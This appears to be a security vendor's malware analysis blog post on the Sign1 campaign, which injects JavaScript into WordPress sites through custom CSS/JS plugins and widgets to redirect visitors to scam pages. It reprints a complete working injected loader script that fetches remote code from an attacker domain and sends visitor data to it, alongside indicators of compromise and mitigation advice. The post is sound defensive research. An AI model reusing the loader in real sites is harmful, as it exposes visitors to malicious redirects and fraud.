A new client recently came to us reporting seemingly random pop ups occurring on their website. While it was clear that there was something amiss with the website it was difficult to reproduce the issue. However, by inspecting our server side scanner logs we were able to locate the source of the unwanted behavior — and it turned out to be a remarkably interesting JavaScript injection related to a massive malware campaign that we internally call Sign1.
In this post, we’ll dive into some common indicators of compromise and analyze this recent variant of the Sign1 malware, which SiteCheck has found on over 2,500 sites in the past two months. We’ll also document Sign1’s campaign history, reveal the obfuscation techniques used to evade detection, and explain how to detect and mitigate this threat.
Locating the source
Our initial file-system scans came up clean, so there was some additional investigation to perform here. File integrity monitoring is one of the most important aspects to website security, which is why we offer our server side scanning service to our clients. The scan runs across the website files once per day and will report on any new files changed or added into the environment. This can be particularly useful when investigating new malware variants like the one being dealt with here.
Checking the website’s logs, we noticed the following plugin changes:
Plugins that allow for arbitrary JavaScript and other code to be inserted into a website are especially useful for website owners and developers but can also be abused by attackers in a compromised environment. Since these types of plugins allow for pretty much any code at all to be added, attackers often use them to insert their malicious or spammy payload.
Sure enough, checking the plugin settings revealed our culprit nestled inside Custom CSS & JS:
While the notion of an attacker abusing a plugin such as custom-css-js is not noteworthy, this code in particular operated in a very creative and interesting way.
Malware analysis
Let’s break apart this JavaScript code and see what we find, shall we?
Time-based randomization
The first thing you’ll notice in this code (other than the strange and random variable names) is the usage of the Date.now function near the top of the script:var _e1bb44 = Date.now(); var _e5dd72 = 1000;
This grabs the current time in the “Unix epoch” – or, rather, the number of milliseconds that have passed since January 1st, 1970 (while that may seem strange and arbitrary to the average reader, it’s a rather popular timestamp method to use in computing).
Once that is gathered the JavaScript does the following:
- Converts milliseconds to seconds
- Aligns it to a 10-minute frame (e.g., 2024-03-14T11-20-00 instead of 2024-03-14T11-24-45)
- Converts the number to a hexadecimal string
This seemingly random string has a verification role. URLs that have incorrect or outdated timestamp string return an empty response. The generated strings are used as part of a JavaScript file that is requested from a third party domain, which we will review further on in this post.
Next, let’s look at the encoding used in the injection.
XOR encoding
The injection includes a hard-coded array of numbers that uses XOR encoding to get new values:var _542484 = [40606, 40587, 40589, 40601, 40644, 40601, 40606, 40579, 40585, 40577, 40582, 40581, 40587, 40590, 40591, 40600, 40644, 40579, 40580, 40588, 40581];
XOR encoding is a simple form of obfuscation used quite often by attackers as it is very straightforward. However, it is fairly easy to reverse engineer it if you know the key value, which in this case was hard-coded into the sample as the digit 40682.
Once we convert these values into human-readable characters we are met with the following domain:tags[.]stickloader[.]info
Which, according to WHOIS records, was registered just a few days prior:whois stickloader[.]info Domain Name: stickloader[.]info Registry Domain ID: 8096961132ea4908874258733ead3c8e-DONUTS Registrar WHOIS Server: whois.namesilo.com Registrar URL: http://www.namesilo.com Updated Date: 2024-03-11T10:22:13Z Creation Date: 2024-03-06T10:21:58Z
Dynamically changing URLs
So, what is all of this for then? Using this dynamic JavaScript code, the result are URLs that change every 10 minutes and get executed in the visitors browser, leading to unwanted redirects and ads for site visitors. The result looks like the following:hxxps://tags[.]stickloader[.]info/mount.<hexstring>.js
We were able to reconstruct one of these URLs and coax the website into providing the third-party code:
Once we clean this up and format it to make it easier to read it becomes clearer what it is doing:
One of the most noteworthy things about this code is that it is specifically looking to see if the visitor has come from any major websites such as Google, Facebook, Yahoo, Instagram etc. If the referrer does not match to these major sites, then the malware will not execute. This is a common trait of malware as it tends to allow the infection to stay unnoticed for a longer time (normally a website owner will navigate to their website directly, rather than through a search engine).
The redirects that do occur are led to VexTrio domains (utm_campaign=INccHxHRWrew3TQsLBbfNm9evGnSUiq74xfziBRgaq81) and end up on scam sites like this “Click to verify that you’re not a robot“:
Big ups to fellow security researcher Randy McEoin for the screen capture!
This code also sets a specific cookie “f084” and will not detonate if that cookie already exists. This implies that it will only display the unwanted pop-up once per visitor.
Here are the conditions that must be met:
- Correct referrer
- Specified cookie not yet present in the browser
- Correct hexadecimal-string named JavaScript file (matching within the 10 minute interval)
If these conditions are met, then the malware is injected and executes yet another script from https://tags.stickloader[.]info/my/pack.js passing the URL of the current page, the referrer, and the browser language as a base64-encoded parameter. This script works as a TDS and redirects users further to malicious sites (usually the VexTrio scam sites).
Sign1 campaign history
The malware described in this article belongs to the little known but quite massive malware campaign that we at Sucuri and GoDaddy Infosec internally call Sign1.
In the past 6 months, our SiteCheck remote website scanner has detected this malware on over 39,000 sites as malware.injection?193.*. And this particular variation described in this post is detected as malware.injection?193.7 and has been found on over 2,500 sites in the past two months.
The Sign1 campaign drew our attention in the second half of 2023 when my colleague Denis Sinegubko started noticing injected scripts with an unusual base64-encoded sign1 parameter.<div class=”textwidget custom-html-widget”><script type=”text/javascript” sign1=”anMuYWJjLWNkbi5vbmxpbmUv”> !function(e,t){const n=”search_active”,r=document.cookie;document.cookie=n+”=1;path=/”;const o=document.referrer&&document.referrer.split(“/”).length>2?document.referrer.split(“/”)[2]:document.referrer;if(!o||-1!=r.indexOf(n))return;if(-1==o.indexOf(“google.”)&&-1==o.indexOf(“bing.”)&&-1==o.indexOf(“facebook.”))return;const c=atob(document.currentScript.attributes.getNamedItem(“sign1”).value);document.currentScript.attributes.removeNamedItem(“sign1”),(t=e.createElement(“script”)).type=”text/javascript”,t.async=!0;let i=[];i.u=window.location.href,i.r=document.referrer,i.l=window.navigator.language,t.src=”https://”+c+”?”+btoa(function(e){const t=[];for(let n in e)t.push(encodeURIComponent(n)+”=”+encodeURIComponent(e[n]));return t.join(“&”)}(i)),e.getElementsByTagName(“head”)[0].appendChild(t)}(document); </script></div>
The sign1 parameter was used in the code to extract and decode the domain name of a third-party malicious URL. In the sample above the domain is js.abc-cdn[.]online, however we saw 3 other variations with domain names created from July 31, 2023, until September 22, 2023.
In October 2023, the attackers changed the obfuscation and removed the sign1 parameter. But it was still apparent that it was the same malware, so we continued tracking it internally as “Sign1”.
With the obfuscation change, the attackers introduced the 10 minute aligned timestamps in their URL that we described in this post. In that iteration, the generated URLs look like this: load.365analytics[.]xyz/my.counter.1710313200.js?ver=65f15aa8 (to make sure the URL was not tampered with, they used the timestamp both as a decimal (1710313200) and hexadecimal (65f15aa8) numbers). Ever since, all new variations of the injected scripts have included this timestamp trick.
Sign1 domains
In the following table, you can find the domain names used by different waves of Sign1 malware infections, their registration dates, and PublicWWW queries that can help estimate the number of infected sites.
Domain | Registration Date | PublicWWW Detections |
js.abc-cdn[.]online | 2023-07-31 | 1873 sites |
spf.js-min[.]site | 2023-09-07 | 581 sites |
cdn.jsdevlvr[.]info | 2023-09-18 | 245 sites |
cdn.wt-api[.]top | 2023-09-22 | 316 sites |
load.365analytics[.]xyz | 2023-10-17 | 2790 sites |
stat.counter247[.]live | 2023-10-18 | 1089 sites |
js.opttracker[.]online | 2023-10-19 | 1485 + 3667 sites |
l.js-assets[.]cloud | 2023-10-25 | 4445 sites |
api.localadswidget[.]com | 2023-11-24 | 1229 sites |
page.24supportkit[.]com | 2023-12-05 | 2163 sites |
streaming.jsonmediapacks[.]com | 2023-12-29 | 1291 sites |
js.schema-forms[.]org | 2024-01-18 | N/A |
stylesheet.webstaticcdn[.]com | 2024-02-05 | N/A |
assets.watchasync[.]com | 2024-02-22 | N/A |
tags.stickloader[.]info | 2024-03-06 | N/A |
Initially the domains were hosted on the Namecheap 162.0.228.112 server. Then attackers started using a server on the HETZNER network (5.75.230.95, 95.217.217.254, 128.140.70.175) and began using Cloudflare to hide the server location.
Custom HTML Widgets
Many of the injections are found inside WordPress custom HTML widgets that the attackers add to compromised websites (the widgets only contain malicious scripts, so they are not normally visible on web pages). Quite often, the attackers install a legitimate Simple Custom CSS and JS plugin and (like in the example above) inject the malicious code using this plugin.
Using this method, hackers infect websites without placing any malicious code into server files which allows the malware to stay unnoticed for a long time — as it’s much more common for security providers to scan website files for malware than to check in the database.
Waves of injections and the Simple Custom CSS and JS plugin
If we compare dates for when the malicious Sign1 domains were created alongside downloads for the Simple Custom CSS and JS plugin, we notice distinct spikes in downloads around those dates (2k-5k extra downloads on average).
The spikes on the graph suggest that while the first known domain abc-cdn[.]online was registered on July 31, 2023, attackers started using the Simple Custom CSS and JS plugin for their injections only 10 days later on Aug 9, 2023. After that, the time between the malicious domain registrations and spikes in downloads became noticeably short (if any).
You may notice that some spikes occur a day before the domains are registered. This can be explained either by the time zone discrepancies or attackers first install the plugin and then inject the malicious code in the next round a few hours later.
Protecting your site from unwanted redirects
This is yet another example of why securing the administration panel and using website monitoring tools should be a top priority for website owners. This website had the WordPress Activity Log plugin installed, and we were able to confirm that some unscrupulous activity in the admin panel was indeed the cause:
The infection occurred after a huge number of failed logins originating from a large number of IP addresses, suggesting a successful brute force attack.
To mitigate risk, follow our guide on how to secure your wp-admin panel, do your best to keep all website software patched to the latest version, and leverage a website firewall to help block bad bots and prevent brute force.